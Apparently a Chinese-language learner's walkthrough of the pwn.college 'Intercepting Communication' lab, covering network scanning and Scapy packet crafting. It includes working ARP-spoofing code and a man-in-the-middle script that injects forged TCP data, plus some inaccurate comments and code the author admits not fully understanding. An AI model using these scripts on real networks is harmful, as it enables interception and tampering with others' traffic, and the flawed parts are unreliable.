【入門筆記】CSE 365 - Fall 2024之Intercepting Communication(pwn.college)
level1 連線到遠端主機
檢視解析
為了知道目標遠端主機的ip地址,我們執行`/challenge/run`開啟遠端主機環境
再使用nc連線到遠端主機的特定埠
level2 監聽來自遠端主機的連線
監聽來自遠端主機的連線是指在計算機網路中,某個服務或應用程式在特定的網路埠上等待並接受來自其他計算機(即遠端主機)的連線請求。這是網路通訊的基本機制,允許客戶端與伺服器之間進行資料交換。
檢視解析
nc -l
使用`-l`表示“監聽”(listen),使用這個選項,netcat 將在指定的埠上等待連線,而不是嘗試連線到遠端主機
level3 查詢並連線到遠端主機
nmap
nmap
(Network Mapper)是一種開源的網路掃描和安全審計工具,廣泛用於網路探索和安全評估。它可以幫助使用者識別網路中的主機、服務、作業系統以及其他網路資訊。
主要功能
- 主機發現:
- 確定網路中存活的主機。可以透過 ping 掃描、ARP 掃描等方式發現活動裝置。
- 埠掃描:
- 檢查主機上開放的埠,確定哪些服務在執行。常用的掃描型別包括 TCP SYN 掃描、全連線掃描和 UDP 掃描。
- 服務識別:
- 確定每個開放埠上執行的服務,包括版本資訊,幫助評估潛在的安全漏洞。
- 作業系統檢測:
- 透過分析網路包的響應,推測目標主機的作業系統及其版本。
- 指令碼引擎:
- 使用 Nmap Scripting Engine (NSE),使用者可以編寫和使用指令碼來自動化各種掃描任務,例如漏洞檢測和網路服務資訊收集。
- 網路拓撲對映:
- 生成網路結構的視覺化圖,幫助使用者理解網路的佈局和連線。
【筆記】Nmap工具原理探索 - Super_Snow_Sword - 部落格園
檢視解析
使用`nmap`掃描活動裝置ip
`nmap 10.0.0.0/24`
在 10.0.0.0/24 中,主機可用的 IP 地址範圍是從 10.0.0.1 到 10.0.0.254
level4 查詢並連線到大型網路上的遠端主機
檢視解析
使用`nmap`掃描活動裝置ip
`nmap 10.0.0.0/16`
在 10.0.0.0/16 中,包含 IP 地址範圍從 10.0.0.0 到 10.0.255.255共65536個地址
為了加快掃描速度,我們新增"--min-parallelism"指定最小並行掃描的數量
`nmap --min-parallelism 6000 10.0.0.0/16`
level5 從遠端主機監視流量
wireshark
Wireshark 是一個廣泛使用的網路協議分析工具,它能夠捕獲和詳細分析網路流量。以下是對 Wireshark 的介紹,包括其功能、使用場景和基本操作:
主要功能
- 資料包捕獲:
- Wireshark 可以實時捕獲網路流量,支援多種網路介面(如乙太網、Wi-Fi 等)。
- 協議分析:
- 能夠解析和分析數百種網路協議,如 TCP、UDP、HTTP、DNS、ARP 等,使用者可以檢視每個協議層的詳細資訊。
- 資料過濾:
- 提供強大的過濾功能,使用者可以根據協議、IP 地址、埠號等條件過濾捕獲的資料包,幫助聚焦於感興趣的流量。
- 流量重組:
- Wireshark 可以將分散的 TCP 資料流重新組裝,以便更清晰地檢視完整的通訊內容。
- 圖形介面:
- 提供使用者友好的圖形介面,使用者可以透過視覺化工具方便地瀏覽和分析網路資料。
- 匯入和匯出:
- 支援多種檔案格式,使用者可以將捕獲的資料儲存為不同格式的檔案,以便於後續分析或共享。
使用場景
- 網路故障排除:
- 系統管理員和網路工程師使用 Wireshark 診斷網路問題,分析流量以識別瓶頸和錯誤。
- 安全分析:
- 安全專業人員使用 Wireshark 檢測和分析網路攻擊、惡意流量或未授權的訪問。
- 協議開發:
- 開發人員可以使用 Wireshark 除錯和驗證新開發的網路協議。
- 教育和培訓:
- 用於網路課程和培訓,幫助學生和新手理解網路協議和資料包結構。
檢視解析
使用`wireshark`程式並且監視`eth0`網路介面的流量,我們能在一些tcp協議的資料包中收到data資料
level6 從遠端主機監視緩慢的流量
檢視解析
使用`wireshark`程式並且監視`eth0`網路介面的流量,我們能在一些tcp流中收到data資料
wireshark檢視tcp流教程:https://www.cnblogs.com/handsomexuejian/p/18302560#tid-bksGa6
level7 透過配置網路介面從遠端主機劫持流量
tcpdump
tcpdump
是一個強大的命令列網路資料包捕獲和分析工具,廣泛用於網路故障排查和安全分析。以下是對 tcpdump
的詳細介紹:
主要功能
- 資料包捕獲:
tcpdump
能夠捕獲透過網路介面傳輸的資料包,並在終端顯示或儲存到檔案中。
- 過濾器:
- 可以使用複雜的過濾表示式,僅捕獲滿足特定條件的資料包(如特定 IP 地址、埠號或協議)。
- 協議解析:
tcpdump
能夠解析多種網路協議,如 TCP、UDP、ICMP 等,方便使用者理解捕獲的資料包內容。
- 實時監控:
- 可以實時顯示資料包流量,有助於即時監控網路活動。
ip
在 Linux 中,ip
命令是一個強大的工具,用於網路管理和配置。它是 iproute2
包的一部分,取代了傳統的 ifconfig
命令。
基本用法
-
檢視網路介面:
ip addr show
或者簡寫為:
ip a
這個命令用於顯示所有網路介面及其配置資訊,包括 IP 地址、MAC 地址和狀態。
-
新增 IP 地址:
ip address add 192.168.1.10/24 dev eth0
這個命令用於為指定的網路介面(如
eth0
)新增一個新的 IP 地址。 -
刪除 IP 地址:
ip address del 192.168.1.10/24 dev eth0
這個命令用於從指定的網路介面中刪除一個 IP 地址。
-
檢視路由表:
ip route show
該命令顯示當前系統的路由表。
-
新增路由:
ip route add 10.0.0.0/24 via 192.168.1.1
這個命令用於新增一條新的路由,指定資料包應該透過哪個閘道器傳送。
-
刪除路由:
ip route del 10.0.0.0/24
用於刪除指定的路由。
檢視解析
這次挑戰中位於“10.0.0.4”的遠端主機正在埠“31337”上與位於“10.0.0.2”的遠端主機通訊。
我們首先`tcpdump -i any` 用於實時監控網路流量,捕獲和檢視從遠端主機 10.0.0.4 傳送到埠 31337 的所有資料包(也能用wireshark進行分析)`-i`指定要監控的網路介面,`any`表示監聽系統中所有可用的網路介面
我們可以發現每隔一段時間 10.0.0.4 都會傳送ARP包來尋找 10.0.0.2
接下來將指定的 IP 地址分配給網路介面 eth0,使該介面能夠在指定的網路上進行通訊
`ip address add 10.0.0.2 dev eth0`透過將 10.0.0.2 配置為該介面的 IP 地址,這樣我們的主機就能夠與 10.0.0.4 進行通訊
然後我們監聽31337埠,等待 10.0.0.4 給我們傳flag
nc -l 31337
level8 手動傳送以太資料包(Ethernet packet)
Ethernet packet
乙太網資料包(Ethernet packet)是計算機網路中用於在區域網(LAN)中傳輸資料的基本單位。位於OSI模型的第二層,也就是資料鏈路層(Data Link Layer)。
乙太網資料包的結構
乙太網資料包通常由以下幾個部分組成:
- 前導碼(Preamble):通常為 7 位元組,幫助接收裝置同步時鐘。
- 幀開始定界符(Start Frame Delimiter, SFD):1 位元組,指示資料包的開始。
- 源 MAC 地址(Source MAC Address):6 位元組,傳送裝置的實體地址。
- 目標 MAC 地址(Destination MAC Address):6 位元組,接收裝置的實體地址。
- 型別欄位(Type Field):2 位元組,指示上層協議(如 IPv4 或 IPv6)。
- 負載(Payload):資料部分,通常為 46 至 1500 位元組,包含實際傳輸的資料。
- 幀校驗序列(Frame Check Sequence, FCS):4 位元組,用於檢測資料包在傳輸過程中是否發生了錯誤。
工作原理
- 資料傳輸:乙太網資料包透過網路交換機和網路介面卡在裝置之間進行傳輸。每個裝置都有唯一的 MAC 地址,網路中的裝置透過這個地址來識別資料包的目標。
- 資料封裝:在傳送資料時,作業系統將資料封裝成乙太網資料包,並新增必要的頭部資訊。
Scapy
Scapy 是一個強大的 Python 庫,用於網路包的建立、傳送、嗅探和解析。它廣泛應用於網路安全、滲透測試、網路監控和協議分析等領域。以下是 Scapy 的一些主要特性和功能:
主要特性
- 靈活的包建立:
- Scapy 允許使用者以非常靈活的方式構建各種網路協議的資料包,包括 Ethernet、IP、TCP、UDP、ICMP 等。
- 使用者可以自定義資料包的各個欄位,支援巢狀協議。
- 傳送和接收資料包:
- 使用者可以透過簡單的命令傳送資料包到網路,並接收響應。
- Scapy 支援在指定介面上傳送和接收資料包。
- 嗅探功能:
- Scapy 可以實時捕獲和分析網路流量,支援各種過濾條件。
- 使用者可以根據協議型別、IP 地址、埠號等過濾捕獲的資料包。
- 協議分析:
- Scapy 提供了多種工具和方法來分析和解析捕獲的資料包。
- 使用者可以輕鬆地提取資料包的各個欄位和資訊。
- 擴充套件性:
- Scapy 支援外掛,使用者可以根據需要擴充套件其功能。
- 可以透過自定義協議實現特定的網路分析需求。
應用場景
- 滲透測試:用於測試網路的安全性,包括發現開放埠、執行掃描和構造惡意資料包等。
- 網路故障排除:透過捕獲和分析網路流量,幫助識別網路故障的原因。
- 協議研究:用於研究和測試新的網路協議,驗證協議的實現和功能。
檢視解析
在這個挑戰中,您將手動傳送一個乙太網資料包。資料包應該有‘ Ether type=0xFFFF ’。該資料包應該被髮送到位於“10.0.0.3”的遠端主機。
為了構造乙太網資料包,我們首先要獲取我們的實體地址`ip a`
然後我們使用scapy庫,可以直接使用`scapy`
from scapy.all import * #這行程式碼匯入Scapy庫中的所有功能和類,以便在後續的程式碼中使用。這意味著可以直接使用Scapy的各種功能而不需要每次都加上scapy.字首。
sendp(
Ether(
src="<你的實體地址>", type=0xFFFF)
/IP(
src="10.0.0.2", dst="10.0.0.3")
, iface="eth0")
# sendp() 函式用於傳送乙太網層的資料包;
#Ether()一個構造乙太網幀的函式,用於定義乙太網幀的各個欄位,src指定源 MAC 地址,type指定乙太網型別,表示上層協議的型別;
#`/IP()`中`/`是一種使用運算子過載的語法,其中 Ether(乙太網層)是外層,而 IP(網路層)是內層。`IP()`是一個構造 IP 資料包的函式,設定源和目標 IP 地址。乙太網幀作為資料鏈路層的協議,會包含上層協議(如 IP 資料包)的資訊;
#`iface`用於指定要透過哪個網路介面傳送資料包
level9 手動傳送IP資料包(Internet Protocol packet)
Internet Protocol packet
IP資料包是網路層的基本資料單元,用於在計算機網路中傳輸資料。它封裝了傳送方和接收方的地址資訊,並攜帶了要傳輸的資料(稱為有效載荷)
檢視解析
在這個挑戰中,您將手動傳送一個Internet協議資料包。資料包應該有‘ IP proto=0xFF ’。資料包應該被髮送到遠端主機‘ 10.0.0.3 ’
為了構造以IP資料包,我們首先要獲取我們的實體地址`ip a`
然後我們使用scapy庫,可以直接使用`scapy`
from scapy.all import *
sendp(
Ether(
src="<你的實體地址>")
/IP(
proto=0xFF,src='10.0.0.2',dst='10.0.0.3')
,iface='eth0')
#proto=0xFF 指定 IP 資料包的協議欄位
level10 手動傳送TCP資料包(Transmission Control Protocol)
Transmission Control Protocol
傳輸控制協議(TCP,Transmission Control Protocol)是一種面向連線的、可靠的傳輸層協議,廣泛應用於網際網路通訊。它的主要作用是確保在網路中資料的可靠傳輸,並保證資料的順序和完整性。TCP連線原理可以檢視: 【TCP三次握手和四次揮手】
檢視解析
在這個挑戰中,您將手動執行傳輸控制協議握手。初始資料包應該具有“TCP sport=31337, dport=31337, seq=31337”。握手應該發生在遠端主機‘ 10.0.0.3 ’處。
scapy
from scapy.all import *
sendp(
Ether(
src=get_if_hwaddr("eth0"))
/ IP(
src="10.0.0.2", dst="10.0.0.3")
/ TCP(
sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF")
, iface="eth0")
#sport 設定源埠
#dport 設定目標埠
#seq 設定 TCP 的序列號
#ack 設定 TCP 的確認號
#flags="APRSF" 設定 TCP 標誌位,組合了以下標誌:
#A: ACK(確認)
#P: PSH(推送)
#R: RST(重置)
#S: SYN(同步)
#F: FIN(結束)
level11 手動執行TCP協議握手
檢視解析
在這個挑戰中,您將手動執行傳輸控制協議握手。初始資料包應該具有“TCP sport=31337, dport=31337, seq=31337”。握手應該發生在遠端主機‘ 10.0.0.3 ’處。
scapy
from scapy.all import *
results, unanswered =
srp(
Ether(
src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
/IP(
src="10.0.0.2", dst="10.0.0.3")
/TCP(
sport=31337, dport=31337, seq=31337, flags="S")
, iface="eth0")
#results 是接收到的響應列表,unanswered 是未收到響應的資料包列表;
#srp()函式用於傳送並接收資料包,適合需要響應的場景;
#dst="ff:ff:ff:ff:ff:ff"說明目標 MAC 地址為廣播地址,表示傳送給網路中的所有裝置。
query, answer = results[0] #從 results 中提取第一個響應。
#query 代表傳送的資料包,answer 代表收到的響應資料包。
sendp(
Ether(
src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
/IP(
src="10.0.0.2", dst="10.0.0.3")
/TCP(
sport=31337, dport=31337, seq=answer["TCP"].ack, ack=answer["TCP"].seq+1, flags="A")
, iface="eth0")
#seq=answer["TCP"].ack 將序列號設定為收到的 ACK。
#ack=answer["TCP"].seq + 1 設定確認號為接收到的序列號加 1。
#flags="A" 設定 TCP 標誌為 ACK(確認)。
level12 手動傳送ARP協議報文(Address Resolution Protocol packet)
Address Resolution Protocol packet
地址解析協議(Address Resolution Protocol,ARP)是一種用於在區域網(LAN)中將網路層地址(通常是 IP 地址)解析為資料鏈路層地址(通常是 MAC 地址)的協議。ARP 是在網路通訊中非常重要的一部分,因為裝置透過 MAC 地址進行直接通訊。
檢視解析
在這個挑戰中,您將手動傳送一個地址解析協議資料包。資料包應該有“ARP op=is-at”,並正確地通知遠端主機可以找到傳送者的位置。資料包應該被髮送到遠端主機‘ 10.0.0.3 ’。
scapy
from scapy.all import *
sendp(
Ether(
src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
/ARP(
op="is-at", psrc="10.0.0.2", hwsrc=get_if_hwaddr("eth0"), pdst="10.0.0.4")
, iface="eth0")
#op="is-at" 表示該 ARP 包是一個 ARP 響應(“is-at”表示“是位於”)。這表明傳送者要告知其他裝置自己的 IP 地址和對應的 MAC 地址
#psrc="10.0.0.2" 設定源 IP 地址,表示傳送者的 IP 地址。
#hwsrc 表示傳送者的 MAC 地址
#pdst="10.0.0.4":設定目標 IP 地址,表示要告知的裝置 IP 地址。
level13 使用ARP劫持遠端主機的流量
檢視解析
在這個挑戰中,您將使用ARP劫持來自遠端主機的流量。
您不具備NET管理員的能力。位於“10.0.0.4”的遠端主機正在埠“31337”上與位於“10.0.0.2”的遠端主機通訊。
scapy
from scapy.all import *
sendp(
Ether(
src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
/ARP(op="is-at", psrc="10.0.0.2", hwsrc=get_if_hwaddr("eth0"), pdst="10.0.0.4"), iface="eth0")
#傳送一個 ARP 響應包(ARP Reply),通知網路中的裝置,IP 地址 10.0.0.4 對應的 MAC 地址是當前裝置的 MAC 地址。這實際上是欺騙網路中的其他裝置,使它們認為此裝置是 10.0.0.4 的“合法”持有者。
exit
ip addr add 10.0.0.2 dev eth0 #在網路介面 eth0 上新增一個新的 IP 地址 10.0.0.2,子網掩碼預設為 /24 。這使得當前裝置能夠與其他在 10.0.0.0/24 網段的裝置進行通訊。
nc -l 31337
一條影片講清楚什麼是ARP協議-ARP攻擊又是什麼
level14 兩個遠端主機之間的中間人流量並注入額外的流量
檢視解析
在這個挑戰中,您將管理兩臺遠端主機之間的中間流量,並注入額外的流量。位於“10.0.0.4”的遠端主機正在埠“31337”上與位於“10.0.0.3”的遠端主機通訊。
scapy
from scapy.all import *
sendp(
Ether(
src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
/ARP(
op="is-at", psrc="10.0.0.3", pdst="10.0.0.4")
,iface="eth0")
sendp(
Ether(
src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
/ARP(
op="is-at", psrc="10.0.0.4", pdst="10.0.0.3")
,iface="eth0")
#第一個資料包:告知網路中的裝置(特別是 10.0.0.4)“10.0.0.3”的 MAC 地址是當前裝置的 MAC 地址。這使得 10.0.0.4 在傳送資料包時,將資料包發往當前裝置,而不是實際的 10.0.0.3。
#第二個資料包:告知網路中的裝置(特別是 10.0.0.3)“10.0.0.4”的 MAC 地址是當前裝置的 MAC 地址。這樣,10.0.0.3 也會將資料包傳送到當前裝置,而不是實際的 10.0.0.4。
之後我們要構造一個指令碼,要做到:
1.檢視捕獲到的 TCP 資料包
2.在特定條件下(原始負載的第一個位元組為 "C")傳送一個新資料包
from scapy.all import *
def inject(pkt):
# 定義一個名為 inject 的函式,用於處理捕獲到的資料包 pkt
# 列印資料包資訊
print("--- PKT: ---")
# 列印源 IP 和目標 IP 地址
print(f"src: {pkt[IP].src}, dst: {pkt[IP].dst}")
# 列印源埠和目標埠
print(f"sport: {pkt[TCP].sport}, dport: {pkt[TCP].dport}")
# 列印序列號和確認號
print(f"seq: {pkt.seq}, ack: {pkt.ack}")
# 列印 TCP 標誌位
print(f"flags: {pkt[TCP].flags}")
# 檢查資料包中是否包含原始負載
if(Raw in pkt):
# 如果存在原始負載,列印其內容
print(f"load: {pkt[Raw].load}")
# 判斷原始負載的第一個位元組是否是字元 "C"
if(pkt[Raw].load[0] == ord("C")):
# 如果是,則傳送一個新的資料包
sendp(
Ether(
src=pkt[Ether].dst, dst=pkt[Ether].src)
/IP(
src=pkt[IP].dst, dst=pkt[IP].src)
/TCP(
sport=pkt[TCP].dport,
dport=pkt[TCP].sport,
seq=pkt.ack,
ack=(pkt.seq + len(pkt[Raw].payload)),
flags="PA")
/Raw(load="FLAG\n"),
iface="eth0"
)
# 列印資料包的時間戳
print(f"time: {pkt.time}\n")
# 開始嗅探 tcp 資料包,當捕獲到資料包時呼叫 inject 函式進行處理
sniff(filter="tcp", iface="eth0", prn=inject)
最後這一段還是不太清楚以後會努力搞明白的(挖坑)